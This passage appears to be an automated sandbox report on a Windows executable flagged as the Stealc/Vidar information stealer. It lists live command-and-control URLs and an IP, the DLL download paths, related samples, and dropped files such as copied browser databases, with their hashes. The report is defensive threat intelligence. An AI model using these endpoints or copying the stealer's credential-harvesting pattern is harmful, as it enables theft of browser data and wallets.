http://185.215.113.37/e2b1563c6670f193.phpT2	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php)f	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	KFIDAFBFBKFHJJKEHIEG.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllZ	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37Ll	file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllh	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpyfL	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll$)1	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112845194.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2113220231.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpafT	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GHJKJDAK.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpDAFBFBKFHJJKEHIEG	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpus.wallet	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1939239657.000000001D740000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t	file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpnomi	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php:	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dlln	file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllKe	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll6(#	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532119
Start date and time:	2024-10-12 13:16:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 76 Number of non-executed functions: 50
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	oUbgeGwOL8.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	oUbgeGwOL8.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	54f0fa329a53.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup-Pro.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	54f0fa329a53.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup-Pro.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFBFBAAKECFIEBFIECFCGCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAAFIIJDAAAAKFHIDAAAKJJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHDHIECGCAEBFIIDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJKJDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIEGHJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIDAAFBGDBKJJJKFIIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDAFBFBKFHJJKEHIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 54f0fa329a53.exe, Detection: malicious, Browse Filename: Setup-Pro.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 54f0fa329a53.exe, Detection: malicious, Browse Filename: Setup-Pro.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
